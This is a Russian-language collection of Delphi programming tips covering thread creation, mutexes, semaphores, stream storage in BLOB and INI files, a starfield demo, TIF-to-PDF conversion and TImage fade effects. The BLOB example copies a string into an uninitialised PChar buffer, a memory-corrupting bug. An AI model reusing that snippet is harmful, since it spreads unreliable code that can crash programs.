procedure TForm1.Button1Click(Sender: TObject);
begin
h1 := beginthread(nil, 1024, @incedit1, nil, 0, th1);
h2 := beginthread(nil, 1024, @incedit2, nil, 0, th2);
end;
procedure TForm1.Button6Click(Sender: TObject);
begin
terminatethread(h1, 0);
end;
procedure TForm1.Button7Click(Sender: TObject);
begin
terminatethread(h2, 0);
end;
procedure TForm1.Button4Click(Sender: TObject);
begin
resumethread(h1);
end;
procedure TForm1.Button5Click(Sender: TObject);
begin
resumethread(h2);
end;
procedure TForm1.Button2Click(Sender: TObject);
begin
suspendthread(h1);
end;
procedure TForm1.Button3Click(Sender: TObject);
begin
suspendthread(h2);
end;
end.
|
Как создавать потоки без класса TThread 2.
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls;
procedure printh(p: pointer); stdcall;
type
TForm1 = class(TForm)
Button1: TButton;
procedure Button1Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.DFM}
procedure printh(p: pointer);
begin
TForm1(p).caption := 'Hello from thread';
ExitThread(0);
end;
procedure TForm1.Button1Click(Sender: TObject);
var
h1: cardinal;
begin
createthread(nil, 128, @printh, self, 0, h1);
end;
end.
|
Работа в отдельном потоке, которая не мешает основной программе.
Автор: Xavier Pacheco
unit ThrdU;
interface
uses
Classes;
type
TTestThread = class(TThread)
private
Answer: integer;
protected
procedure GiveAnswer;
procedure Execute; override;
end;
implementation
uses SysUtils, Main;
{ TTestThread }
procedure TTestThread.GiveAnswer;
begin
MainForm.Edit1.Text := InttoStr(Answer);
end;
procedure TTestThread.Execute;
var
I: Integer;
begin
FreeOnTerminate := True;
for I := 1 to 2000000 do
begin
if Terminated then
Break;
Inc(Answer, Round(Abs(Sin(Sqrt(I)))));
Synchronize(GiveAnswer);
end;
end;
end.
unit Main;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls, ThrdU;
type
TMainForm = class(TForm)
Edit1: TEdit;
Button1: TButton;
Memo1: TMemo;
Label1: TLabel;
Label2: TLabel;
procedure Button1Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
MainForm: TMainForm;
implementation
{$R *.DFM}
procedure TMainForm.Button1Click(Sender: TObject);
begin
TTestThread.Create(False);
end;
end.
Пример расчета величины в отдельном потоке.
unit uPiThread;
interface
uses
Classes;
type
TPiThread = class(TThread)
private
{ Private declarations }
protected
procedure Execute; override;
end;
var
GlobalPi: Extended;
GlobalCounter: Int64;
implementation
uses uMain;
{ Important: Methods and properties of objects in VCL or CLX can only be used
in a method called using Synchronize, for example,
Synchronize(UpdateCaption);
and UpdateCaption could look like,
procedure TPiThread.UpdateCaption;
begin
Form1.Caption := 'Updated in a thread';
end; }
{ TPiThread }
const
//better to choose odd value, to avoid monotonic increase/decrease ef-fect
UpdatePeriod = 999999;
procedure TPiThread.Execute;
var sign: Integer;
PiValue, PrevValue: Extended;
i: Int64;
begin
{ Place thread code here }
PiValue := 4;
sign := -1;
i := 0;
repeat
Inc(i);
PrevValue := PiValue;
PiValue := PiValue + sign * 4 / (2 * i + 1);
sign := -sign;
if i mod UpdatePeriod = 0 then
begin
GlobalPi := PiValue;
GlobalCounter := i;
Synchronize(fmMain.UpdatePi);
end;
until Terminated or
(Abs(PiValue - PrevValue) < 1E-19);
end;
end.
unit uMain;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls,
uPiThread;
type
TfmMain = class(TForm)
cbCalculate: TCheckBox;
Label1: TLabel;
Label2: TLabel;
laBuiltIn: TLabel;
laValue: TLabel;
laIterNum: TLabel;
procedure FormCreate(Sender: TObject);
procedure cbCalculateClick(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
PiThread: TPiThread;
procedure UpdatePi;
end;
var
fmMain: TfmMain;
implementation
{$R *.dfm}
procedure TfmMain.UpdatePi;
begin
if IsIconic(Application.Handle) then Exit;
LaValue.Caption := FloatToStrF(GlobalPi, ffFixed, 18, 18);
laIterNum.Caption := IntToStr(GlobalCounter) + ' iterations';
end;
procedure TfmMain.FormCreate(Sender: TObject);
begin
laBuiltIn.Caption := FloatToStrF(Pi, ffFixed, 18, 18);
end;
procedure TfmMain.cbCalculateClick(Sender: TObject);
begin
if cbCalculate.Checked then
begin
PiThread := TPiThread.Create(True);
PiThread.FreeOnTerminate := True;
PiThread.Priority := tpLower;
PiThread.Resume;
end
else
begin
if Assigned(PiThread) then PiThread.Terminate;
end;
end;
end.
Скачать весь проект
Поток с доступом к глобальной переменной основной программы.
Автор: Xavier Pacheco
unit Main;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls;
type
TMainForm = class(TForm)
Button1: TButton;
procedure Button1Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
MainForm: TMainForm;
implementation
{$R *.DFM}
{ NOTE: Change GlobalStr from var to threadvar to see difference }
var
//threadvar
GlobalStr: string;
type
TTLSThread = class(TThread)
private
FNewStr: string;
protected
procedure Execute; override;
public
constructor Create(const ANewStr: string);
end;
procedure SetShowStr(const S: string);
begin
if S = '' then
MessageBox(0, PChar(GlobalStr), 'The string is...', MB_OK)
else
GlobalStr := S;
end;
constructor TTLSThread.Create(const ANewStr: string);
begin
FNewStr := ANewStr;
inherited Create(False);
end;
procedure TTLSThread.Execute;
begin
FreeOnTerminate := True;
SetShowStr(FNewStr);
SetShowStr('');
end;
procedure TMainForm.Button1Click(Sender: TObject);
begin
SetShowStr('Hello world');
SetShowStr('');
TTLSThread.Create('Dilbert');
Sleep(100);
SetShowStr('');
end;
end.
Определение количества приостановок (suspend) потока.
Автор: Эдгар WEB-сайт: http://delphibase.endimus.com
{ **** UBPFD *********** by delphibase.endimus.com ****
>> Определение количества приостановок (suspend) потока
Зависимости: НЕТУ
Автор: Эдгар, Songoku@tut.by, Berlin
Copyright: Copyright DPRSystem 1999-2004 by x-ssg
Дата: 29 февраля 2004 г.
***************************************************** }
function NtSuspendThread(ThreadHandle, PreviousSuspendCount: DWORD): DWORD;
stdcall external 'NTDLL.DLL';
function NtResumeThread(ThreadHandle, SuspendCount: DWORD): DWORD; stdcall
external 'NTDLL.DLL';
.....
function GetSuspendCount(Thread: DWORD): DWORD;
var
tmp: ^DWORD;
begin
Result := 0;
if GetCurrentThread <> Thread then
begin // Если в параметре наш поток то тогда возвращает 0, то есть поток работает
if NtSuspendThread(Thread, dword(@tmp)) <> 0 then
Result := Dword(-1)
else // Останавливаем поток. И сохраняем значение PreviousSuspendCount в Result
Result := dword(tmp);
NtResumeThread(Thread, dword(@tmp)); // Возобновляем работу потока
end;
end;
// В результате находится количество "остановок" потока.
// Если результат 0 - то значит поток работает!
Запись потока в BLOB-поле.
Вся хитрость заключается в использовании StrPcopy (помещения вашей строки в PChar) и записи буфера в поток. Вы не сможете передать это в PChar непосредственно, поскольку ему нужен буфер, поэтому для получения необходимого размера буфера используйте <BufferName>[0] и StrLen().Вот пример использования TMemoryStream и записи его в Blob-поле:
var
cString: string;
oMemory: TMemoryStream;
Buffer: PChar;
begin
cString := 'Ну, допустим, хочу эту строку!';
{ СОздаем новый поток памяти }
oMemory := TMemoryStream.Create;
{!! Копируем строку в PChar }
StrPCopy(Buffer, cString);
{ Пишем =буфер= и его размер в поток }
oMemory.Write(Buffer[0], StrLen(Buffer));
{Записываем это в поле}
< Blob / Memo / GraphicFieldName > .LoadFromStream(oMemory);
{ Необходимо освободить ресурсы}
oMemory.Free;
end;
|
Сохранение потока в INI файле.
Автор: Moris WEB-сайт: http://delphibase.endimus.com
{ **** UBPFD *********** by delphibase.endimus.com ****
>> Сохранение потока в INI файле
Ответ на вопрос Igor__ © на форуме
http://delphi.mastak.ru/cgi-bin/forum.pl?look=1&id=1031421953&n=0
Сохраним содержимое RichEdit в ini file c:\temp\demo.ini
Зависимости: IniFiles
Автор: Kogaev Oleg (Moris), matrix@rbcmail.ru, ICQ:121008919
Copyright: Kogaev Oleg (Moris)
Дата: 8 сентября 2002 г.
***************************************************** }
// Сохраним RichEdit в ini file c:\temp\demo.ini
procedure TForm1.Button1Click(Sender: TObject);
var
ini: TIniFile;
s: TMemoryStream;
begin
S := TMemoryStream.Create;
Ini := TiniFile.Create('c:\temp\demo.ini');
RichEdit1.Lines.SaveToStream(S);
s.Seek(0, soFromBeginning);
ini.WriteBinaryStream('1', '1', S);
ini.Free;
s.Free;
end;
//И прочетаем
procedure TForm1.Button2Click(Sender: TObject);
var
ini: TIniFile;
s: TMemoryStream;
begin
S := TMemoryStream.Create;
Ini := TiniFile.Create('c:\temp\demo.ini');
ini.ReadBinaryStream('1', '1', S);
RichEdit1.Lines.LoadFromStream(s);
ini.Destroy;
s.Destroy;
end;
Поток без синхронизации.
Автор: Xavier Pacheco
unit Main;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls;
type
TMainForm = class(TForm)
Button1: TButton;
ListBox1: TListBox;
procedure Button1Click(Sender: TObject);
private
procedure ThreadsDone(Sender: TObject);
end;
TFooThread = class(TThread)
protected
procedure Execute; override;
end;
var
MainForm: TMainForm;
implementation
{$R *.DFM}
const
MaxSize = 128;
var
NextNumber: Integer = 0;
DoneFlags: Integer = 0;
GlobalArray: array[1..MaxSize] of Integer;
function GetNextNumber: Integer;
begin
Result := NextNumber; // return global var
Inc(NextNumber); // inc global var
end;
procedure TFooThread.Execute;
var
i: Integer;
begin
OnTerminate := MainForm.ThreadsDone;
for i := 1 to MaxSize do
begin
GlobalArray[i] := GetNextNumber; // set array element
Sleep(5); // let thread intertwine
end;
end;
procedure TMainForm.ThreadsDone(Sender: TObject);
var
i: Integer;
begin
Inc(DoneFlags);
if DoneFlags = 2 then // make sure both threads finished
for i := 1 to MaxSize do
{ fill listbox with array contents }
Listbox1.Items.Add(IntToStr(GlobalArray[i]));
end;
procedure TMainForm.Button1Click(Sender: TObject);
begin
TFooThread.Create(False); // create threads
TFooThread.Create(False);
end;
end.
Поток с использованием Mutexa.
Автор: Xavier Pacheco
unit Main;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls;
type
TMainForm = class(TForm)
Button1: TButton;
ListBox1: TListBox;
procedure Button1Click(Sender: TObject);
private
procedure ThreadsDone(Sender: TObject);
end;
TFooThread = class(TThread)
protected
procedure Execute; override;
end;
var
MainForm: TMainForm;
implementation
{$R *.DFM}
const
MaxSize = 128;
var
NextNumber: Integer = 0;
DoneFlags: Integer = 0;
GlobalArray: array[1..MaxSize] of Integer;
hMutex: THandle = 0;
function GetNextNumber: Integer;
begin
Result := NextNumber; // return global var
Inc(NextNumber); // inc global var
end;
procedure TFooThread.Execute;
var
i: Integer;
begin
FreeOnTerminate := True;
OnTerminate := MainForm.ThreadsDone;
if WaitForSingleObject(hMutex, INFINITE) = WAIT_OBJECT_0 then
begin
for i := 1 to MaxSize do
begin
GlobalArray[i] := GetNextNumber; // set array element
Sleep(5); // let thread intertwine
end;
end;
ReleaseMutex(hMutex);
end;
procedure TMainForm.ThreadsDone(Sender: TObject);
var
i: Integer;
begin
Inc(DoneFlags);
if DoneFlags = 2 then // make sure both threads finished
begin
for i := 1 to MaxSize do
{ fill listbox with array contents }
Listbox1.Items.Add(IntToStr(GlobalArray[i]));
CloseHandle(hMutex);
end;
end;
procedure TMainForm.Button1Click(Sender: TObject);
begin
hMutex := CreateMutex(nil, False, nil);
TFooThread.Create(False); // create threads
TFooThread.Create(False);
end;
end.
Поток с использованием семафора.
Автор: Xavier Pacheco
unit Main;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls;
type
TMainForm = class(TForm)
Button1: TButton;
ListBox1: TListBox;
procedure Button1Click(Sender: TObject);
private
procedure ThreadsDone(Sender: TObject);
end;
TFooThread = class(TThread)
protected
procedure Execute; override;
end;
var
MainForm: TMainForm;
implementation
{$R *.DFM}
const
MaxSize = 128;
var
NextNumber: Integer = 0;
DoneFlags: Integer = 0;
GlobalArray: array[1..MaxSize] of Integer;
hSem: THandle = 0;
function GetNextNumber: Integer;
begin
Result := NextNumber; // return global var
Inc(NextNumber); // inc global var
end;
procedure TFooThread.Execute;
var
i: Integer;
WaitReturn: DWORD;
begin
OnTerminate := MainForm.ThreadsDone;
WaitReturn := WaitForSingleObject(hSem, INFINITE);
if WaitReturn = WAIT_OBJECT_0 then
begin
for i := 1 to MaxSize do
begin
GlobalArray[i] := GetNextNumber; // set array element
Sleep(5); // let thread intertwine
end;
end;
ReleaseSemaphore(hSem, 1, nil);
end;
procedure TMainForm.ThreadsDone(Sender: TObject);
var
i: Integer;
begin
Inc(DoneFlags);
if DoneFlags = 2 then // make sure both threads finished
begin
for i := 1 to MaxSize do
{ fill listbox with array contents }
Listbox1.Items.Add(IntToStr(GlobalArray[i]));
CloseHandle(hSem);
end;
end;
procedure TMainForm.Button1Click(Sender: TObject);
begin
hSem := CreateSemaphore(nil, 1, 1, nil);
TFooThread.Create(False); // create threads
TFooThread.Create(False);
end;
end.
Сквозь Вселенную с дополнительными возможностями.
Автор: Dimka Maslov WEB-сайт: http://delphibase.endimus.com
{ **** UBPFD *********** by delphibase.endimus.com ****
>> "Сквозь Вселенную" с дополнительными возможностями
Демонстрационный пример, динамически рисующий "движение среди звёзд" с вращением.
Зависимости: Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs
Автор: Dimka Maslov, mainbox@endimus.ru, ICQ:148442121, Санкт-Петербург
Copyright: Dimka Maslov
Дата: 1 августа 2003 г.
***************************************************** }
unit Starfields;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs;
type
TForm1 = class(TForm)
procedure FormCreate(Sender: TObject);
procedure FormPaint(Sender: TObject);
procedure FormResize(Sender: TObject);
private
procedure AB00(var Message); message $AB00;
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.DFM}
type
TPoint = packed record
X, Y, Z, R, Phi: Double;
end;
const
NumStars = 2000; // Количество звёзд,
// управляет общей плотностью звёздного поля
RangeY = 7000; // Максимальное расстояние от картинной плоскости до звезды,
// управляет плотностью звёзд в центре
RangeR = 7000; // Максимальное радиальное удаление от луча зрения до звезды,
// управляет плотностью звёзд по краям
Height = 5000; // Высота наблюдателя,
// управляет положением центра изображения по вертикали
Basis = 100; // Расстояние до картинной плоскости
// управляет соотношением количества звёзд в центре к их
// количеству по краям
DeltaY = 5; // Шаг изменения координаты, управляет скоростью движения
DeltaT = 0.01; // Приращение времени, управляет скоростью вращения
Period1 = 0.1; // Период вращения звёзд
Amplitude2 = 0.5; // Амплитуда вращательных колебаний звёзд
Period2 = 1.0; // Период вращательных колебаний
Period3 = 0.1; // Период изменения направления движения звёзд.
Direction = 1; // Направление движения 1 - к наблюдателю, -1 - от него
var
Stars: array[1..NumStars] of TPoint;
Time: Double = 0;
X0: Integer = 0;
Y0: Integer = 0;
procedure InitializeStars;
var
i: Integer;
begin
Randomize;
for i := 1 to NumStars do
with Stars[i] do
begin
Y := Random(RangeY);
R := RangeR - 2 * Random(RangeR);
Phi := Random(628) / 100;
end;
end;
procedure Perspective(const X, Y, Z, Height, Basis: Double; var XP, YP: Double);
var
Den: Double;
begin
Den := Y + Basis;
if Abs(Den) < 1E-100 then
Den := 1E-100;
XP := Basis * X / Den;
YP := (Basis * Z + Height * Y) / Den;
end;
function KeyPressed(VKey: Integer): LongBool;
asm
push eax
call GetKeyState
and eax, 0080h
shr al, 7
end;
procedure TForm1.AB00(var Message);
begin
if KeyPressed(VK_ESCAPE) then
Close
else
Repaint;
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
InitializeStars;
DoubleBuffered := True;
end;
procedure TForm1.FormPaint(Sender: TObject);
var
X, Y: Double;
L, T: Integer;
i: Integer;
D: Double;
begin
for i := 1 to NumStars do
begin
Application.ProcessMessages;
with Stars[i] do
begin
D := Direction * sin(Period3 * Time);
Y := Y - D * DeltaY;
X := R * sin((Period1 * Time + Phi) + Amplitude2 * cos(Period2 * time));
Z := R * cos((Period1 * Time + Phi) + Amplitude2 * cos(Period2 * time));
if D > 0 then
begin
if Y < 0 then
begin
Y := RangeY;
R := RangeR - 2 * Random(RangeR);
// Phi := Random(628) / 100;
end;
end
else
begin
if Y > RangeY then
begin
Y := 0;
R := RangeR - 2 * Random(RangeR);
// Phi := Random(628) / 100;
end;
end;
end;
Perspective(Stars[i].X, Stars[i].Y, Stars[i].Z, Height, Basis, X, Y);
L := X0 + Round(X);
T := Y0 - Round(Y);
Canvas.Pen.Color := clWhite;
if Stars[i].Y < RangeY / 4 then
begin
Canvas.Rectangle(L, T, L + 2, T + 2);
end
else
begin
Canvas.MoveTo(L, T);
Canvas.LineTo(L + 1, T + 1);
end;
end;
PostMessage(Handle, $AB00, 0, 0);
Time := Time + DeltaT;
end;
procedure TForm1.FormResize(Sender: TObject);
begin
X0 := ClientWidth div 2;
Y0 := ClientHeight * 3 div 2;
end;
end.
Конвертируем TIF в PDF.
| Автор: Morten Ravn-Jonsen |
| ...и написал Иисус конвертер water2wine, и стал раздавать его freeware... |
Как-то раз получился TIF файл на несколько страниц и возникла необходимость конвертации его в PDF формат. Для использования такой возможности необходимо иметь полную версию Adobe Acrobat. Функция тестировалась на Adobe Acrobat 4.0.
Сперва Вам необходимо импортировать элементы управления Acrobat AxtiveX.
Выберите Component -> Import ActiveX Control Выберите Acrobat Control for ActiveX и нажмите install Выберите пакет ActiveX control для инсталяции Добавьте PDFlib_tlb в Ваш проект. Этот файл находится в директории Borland\Delphi5\Imports.Как использовать функцию.
Вот пример её вызова:
if not TifToPDF('c:\test.tif', 'c:\test.pdf') then
Showmessage('Could not convert');
|
Функция TifToPdf:
function TifToPDF(TIFFilename, PDFFilename: string): boolean;
var
AcroApp: variant;
AVDoc: variant;
PDDoc: variant;
IsSuccess: Boolean;
begin
result := false;
if not fileexists(TIFFilename) then
exit;
try
AcroApp := CreateOleObject('AcroExch.App');
AVDoc := CreateOleObject('AcroExch.AVDoc');
AVDoc.Open(TIFFilename, '');
AVDoc := AcroApp.GetActiveDoc;
if AVDoc.IsValid then
begin
PDDoc := AVDoc.GetPDDoc;
PDDoc.SetInfo ('Title', '');
PDDoc.SetInfo ('Author', '');
PDDoc.SetInfo ('Subject', '');
PDDoc.SetInfo ('Keywords', '');
result := PDDoc.Save(1 or 4 or 32, PDFFilename);
PDDoc.Close;
end;
AVDoc.Close(True);
AcroApp.Exit;
finally
VarClear(PDDoc);
VarClear(AVDoc);
VarClear(AcroApp);
end;
end;
|
Плитка из картинок.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
function TileImage(const FileName: TFileName; Sender: TObject): Boolean;
var
x, y: Integer;
Bmp: TBitmap;
begin
if FileExists(FileName) then
begin
bmp := TBitmap.Create;
try
bmp.LoadFromFile(FileName);
with (Sender as TImage) do
begin
for x := 0 to (Width div bmp.Width) do
for y := 0 to (Height div bmp.Height) do
Canvas.Draw(x * bmp.Width, y * bmp.Height, bmp);
end;
finally
bmp.Free;
end;
Result := True;
end
else
Result := False;
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
if Opendialog1.Execute then
TileImage(OpenDialog1.FileName, Image1);
end;
TImageList. Не отображаются иконки на контролах.
Не отображаются картинки на тулбарах, кнопках, меню, и т.д. - везде, где используется TImageList для хранения массива изображений. Искажение цветов при использовании 256-цветных картинок в палитровом видеорежиме.
ТИПОВЫЕ РЕШЕНИЯ. Не использовать TImageList, если это возможно. Не хранить содержимое TImageList в ресурсе формы, а загружать в runtime из подготовленной bitmap или ресурса. Обновить версию системной библиотеки comctl32.dll.Как сделать картинки в TImageList прозрачными.
procedure TForm1.Button1Click(Sender: TObject);
var
bm : TBitmap;
il : TImageList;
begin
bm := TBitmap.Create;
bm.LoadFromFile('C:\DownLoad\TEST.BMP');
il := TImageList.CreateSize(bm.Width,bm.Height);
il.DrawingStyle := dsTransparent;
il.Masked := true;
il.AddMasked(bm, clRed);
il.Draw(Form1.Canvas, 0, 0, 0);
bm.Free;
il.Free;
end;
|
Как работать с Fade для TImage.
Автор: http://www.swissdelphicenter.ch
type
PRGBTripleArray = ^TRGBTripleArray;
TRGBTripleArray = array[0..32767] of TRGBTriple;
/////////////////////////////////////////////////
// Fade In //
/////////////////////////////////////////////////
procedure FadeIn(ImageFileName: TFileName);
var
Bitmap, BaseBitmap: TBitmap;
Row, BaseRow: PRGBTripleArray;
x, y, step: integer;
begin
// Bitmaps vorbereiten / Preparing the Bitmap //
Bitmap := TBitmap.Create;
try
Bitmap.PixelFormat := pf32bit; // oder pf24bit / or pf24bit //
Bitmap.LoadFromFile(ImageFileName);
BaseBitmap := TBitmap.Create;
try
BaseBitmap.PixelFormat := pf32bit;
BaseBitmap.Assign(Bitmap);
// Fading //
for step := 0 to 32 do
begin
for y := 0 to (Bitmap.Height - 1) do
begin
BaseRow := BaseBitmap.Scanline[y];
// Farben vom Endbild holen / Getting colors from final image //
Row := Bitmap.Scanline[y];
// Farben vom aktuellen Bild / Colors from the image as it is now //
for x := 0 to (Bitmap.Width - 1) do
begin
Row[x].rgbtRed := (step * BaseRow[x].rgbtRed) shr 5;
Row[x].rgbtGreen := (step * BaseRow[x].rgbtGreen) shr 5;
// Fading //
Row[x].rgbtBlue := (step * BaseRow[x].rgbtBlue) shr 5;
end;
end;
Form1.Canvas.Draw(0, 0, Bitmap);
// neues Bild ausgeben / Output new image //
InvalidateRect(Form1.Handle, nil, False);
// Fenster neu zeichnen / Redraw window //
RedrawWindow(Form1.Handle, nil, 0, RDW_UPDATENOW);
end;
finally
BaseBitmap.Free;
end;
finally
Bitmap.Free;
end;
end;
/////////////////////////////////////////////////
// Fade Out //
/////////////////////////////////////////////////
procedure FadeOut(ImageFileName: TFileName);
var
Bitmap, BaseBitmap: TBitmap;
Row, BaseRow: PRGBTripleArray;
x, y, step: integer;
begin
// Bitmaps vorbereiten / Preparing the Bitmap //
Bitmap := TBitmap.Create;
try
Bitmap.PixelFormat := pf32bit; // oder pf24bit / or pf24bit //
Bitmap.LoadFromFile(ImageFileName);
BaseBitmap := TBitmap.Create;
try
BaseBitmap.PixelFormat := pf32bit;
BaseBitmap.Assign(Bitmap);
// Fading //
for step := 32 downto 0 do
begin
for y := 0 to (Bitmap.Height - 1) do
begin
BaseRow := BaseBitmap.Scanline[y];
// Farben vom Endbild holen / Getting colors from final image //
Row := Bitmap.Scanline[y];
// Farben vom aktuellen Bild / Colors from the image as it is now //
for x := 0 to (Bitmap.Width - 1) do
begin
Row[x].rgbtRed := (step * BaseRow[x].rgbtRed) shr 5;
Row[x].rgbtGreen := (step * BaseRow[x].rgbtGreen) shr 5;
// Fading //
Row[x].rgbtBlue := (step * BaseRow[x].rgbtBlue) shr 5;
end;
end;
Form1.Canvas.Draw(0, 0, Bitmap);
// neues Bild ausgeben / Output new image //
InvalidateRect(Form1.Handle, nil, False);
// Fenster neu zeichnen / Redraw window //
RedrawWindow(Form1.Handle, nil, 0, RDW_UPDATENOW);
end;
finally
BaseBitmap.Free;
end;
finally
Bitmap.Free;
end;
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
FadeIn('C:\TestImage.bmp')
end;
{*****************************}
{by Yucel Karapinar, ykarapinar@hotmail.com }
{ Only for 24 ve 32 bits bitmaps }
procedure FadeOut(const Bmp: TImage; Pause: Integer);
var
BytesPorScan, counter, w, h: Integer;
p: pByteArray;
begin
if not (Bmp.Picture.Bitmap.PixelFormat in [pf24Bit, pf32Bit]) then
raise Exception.Create('Error, bitmap format is not supporting.');
try
BytesPorScan := Abs(Integer(Bmp.Picture.Bitmap.ScanLine[1]) -
Integer(Bmp.Picture.Bitmap.ScanLine[0]));
except
raise Exception.Create('Error!!');
end;
for counter := 1 to 256 do
begin
for h := 0 to Bmp.Picture.Bitmap.Height - 1 do
begin
P := Bmp.Picture.Bitmap.ScanLine[h];
for w := 0 to BytesPorScan - 1 do
if P^[w] > 0 then
P^[w] := P^[w] - 1;
end;
Sleep(Pause);
Bmp.Refresh;
end;
end;
procedure TForm1.Button2Click(Sender: TObject);
begin
FadeOut(Image1, 1);
end;
TImage - эффект плавного перехода.
| Автор: David C. Ullrich |
| Сказал админ: "Бывает все, сынок" Когда уже не сможешь патчить прог, Когда придешь домой в конце пути По шею бошку в ПИВО опусти |
Я был скептически настроен к механизму использования кистей, чтобы получить что-либо похожее на эффект перехода/ухода ("fade") по сравнению со стеркой ("wipe"), но вчера вечером я нашел следующее решение, которое делает невероятное - осуществляет плавный переход от одного изображения к другому:
procedure WaitAWhile(n: longint);
var
StartTime: longint;
begin
StartTime := timeGetTime;
while timeGetTime < StartTime + n do
;
end;
procedure TForm1.Image1Click(Sender: TObject);
var
BrushBmp, BufferBmp, Buffer2Bmp, ImageBmp, Image2Bmp: TBitmap;
j, k, row, col: longint;
begin
row := 0;
col := 0;
BrushBmp := TBitmap.Create;
with BrushBmp do
begin
Monochrome := false;
Width := 8;
Height := 8;
end;
imageBmp := TBitmap.create;
imagebmp.loadfromfile('c:\huh.bmp');
image2bmp := TBitmap.Create;
image2bmp.LoadFromFile('c:\whatsis.bmp');
{При 256 цветах лучше иметь ту же самую палитру!}
BufferBmp := TBitmap.Create;
with BufferBmp do
begin
Height := 200;
Width := 200;
canvas.brush.bitmap := TBitmap.Create;
end;
Buffer2Bmp := TBitmap.Create;
with Buffer2Bmp do
begin
Height := 200;
Width := 200;
canvas.brush.bitmap := TBitmap.Create;
end;
for k := 1 to 16 do
begin
WaitAWhile(0); {Для пентиума необходимо добавить задержку}
for j := 0 to 3 do
begin
row := (row + 5) mod 8;
col := (col + 1) mod 8;
if row = 0 then
col := (col + 1) mod 8;
BrushBmp.canvas.Pixels[row, col] := clBlack;
end;
with BufferBmp do
begin
canvas.copymode := cmSrcCopy;
canvas.brush.bitmap.free;
canvas.brush.style := bsClear;
canvas.brush.bitmap := TBitmap.Create;
canvas.brush.bitmap.Assign(BrushBmp);
canvas.Rectangle(0, 0, 200, 200);
canvas.CopyMode := cmMergeCopy;
canvas.copyrect(rect(0, 0, 200, 200), imageBmp.canvas,
rect(0, 0, 200, 200));
end;
with Buffer2Bmp do
begin
canvas.copymode := cmSrcCopy;
canvas.brush.bitmap.free;
canvas.brush.style := bsClear;
canvas.brush.bitmap := TBitmap.Create;
canvas.brush.bitmap.Assign(BrushBmp);
canvas.Rectangle(0, 0, 200, 200);
canvas.copymode := cmSrcErase;
canvas.copyrect(rect(0, 0, 200, 200), image2bmp.canvas,
rect(0, 0, 200, 200));
end;
BufferBmp.Canvas.CopyMode := cmSrcPaint;
BufferBmp.Canvas.Copyrect(rect(0, 0, 200, 200),
Buffer2Bmp.Canvas, rect(0, 0, 200, 200));
canvas.copymode := cmSrcCopy;
canvas.copyrect(rect(0, 0, 200, 200), BufferBmp.Canvas,
rect(0, 0, 200, 200));
end;
BufferBmp.canvas.brush.bitmap.free;
Buffer2Bmp.canvas.brush.bitmap.free;
BrushBmp.Free;
BufferBmp.Free;
Buffer2Bmp.Free;
ImageBmp.Free;
image2Bmp.Free;
end;
|
Комментарии: На Pentium I я реально использую 64 кисточки, изменив приведенные выше строки на следующие:
for k:= 1 to 64 do begin WaitAWhile(50); for j:=0 to 0 do |
Заполняя кисть в другом порядке, вы можете получить ряд других эффектов, но приведенная выше версия единственная, которую мне удалось получить максимально похожей на эффект перехода, но вы можете, скажем, написать:
begin
row:=(row+1) mod 8;
(*col:=(col+1) mod 8;*)
if row=0 then
col:=(col+1) mod 8;
|
Вопрос: Я чуствую, что я делаю что-то неправильно, существует какая-то хитрость с кистью. Мне нужно все четыре строчки:
canvas.brush.bitmap.free; canvas.brush.style:=bsClear; canvas.brush.bitmap:=TBitmap.Create; canvas.brush.bitmap.Assign(BrushBmp); |
Чтобы все работало правильно; но я совсем не понимаю, почему первые три строки являются обязательными, но если я их выкидываю, Assign сработывает только один раз(!?!?!). Это реально работает? Есть способ другого быстрого назначения brush.bitmaps? (В документации в качестве примера указано на Brush.Bitmap.LoadFromFile, но должно быть лучшее решение. Хорошо, допустим приведенный способ лучший, но он кажется неправильным...).
Функции для работы с объектом типа TImage.
Автор: VID WEB-сайт: http://delphibase.endimus.com
{ **** UBPFD *********** by delphibase.endimus.com ****
>> Функции для работы с объектом типа TImage
Модуль ImgTools предоставляет функции для работы с изображениями,
в частности для работы с визуальным объектом типа TImage.
Function FitBestSize - Подбор оптимального размера рисунка,
в соответствии с областью на которой он расположен
Function CenterImage - Центрирование рисунка в области, на которой он расположен
Function SetImageSize - Процентное изменение размера рисунка
Каждая функция возвращает результат типа TImageSizeParams;
type TImageSizeParams = record
OldImageWidth - ширина рисунка до преобразований
OldImageHeight - высота рисунка до преобразований
OldImageLeft - позиция X рисунка до преобразований
OldImageTop - позиция Y рисунка до преобразований
NewImageWidth - ширина рисунка после преобразований
NewImageHeight - высота рисунка после преобразований
NewImageLeft - позиция X рисунка после преобразований
NewImageTop - позиция Y рисунка после преобразований
NewImageSizePercent - размер рисунка в процентах после преобразования,
от размера рисунка до преобразования
end;
Зависимости: ExtCtrls
Автор: VID, vidsnap@mail.ru, ICQ:132234868, Махачкала
Copyright: VID
Дата: 05 мая 2002 г.
***************************************************** }
unit ImgTools;
interface
uses ExtCtrls;
type
TImageSizeParams = record
OldImgWidth, OldImgHeight, OldImageLeft, OldImageTop,
NewImgWidth, NewImgHeight, NewImageLeft, NewImageTop,
NewImgSizePercent: Integer;
end;
type
TTimeState = (tsBefore, tsAfter);
function FitBestSize(Img: TImage): TImageSizeParams;
function CenterImage(Img: TImage): TImageSizeParams;
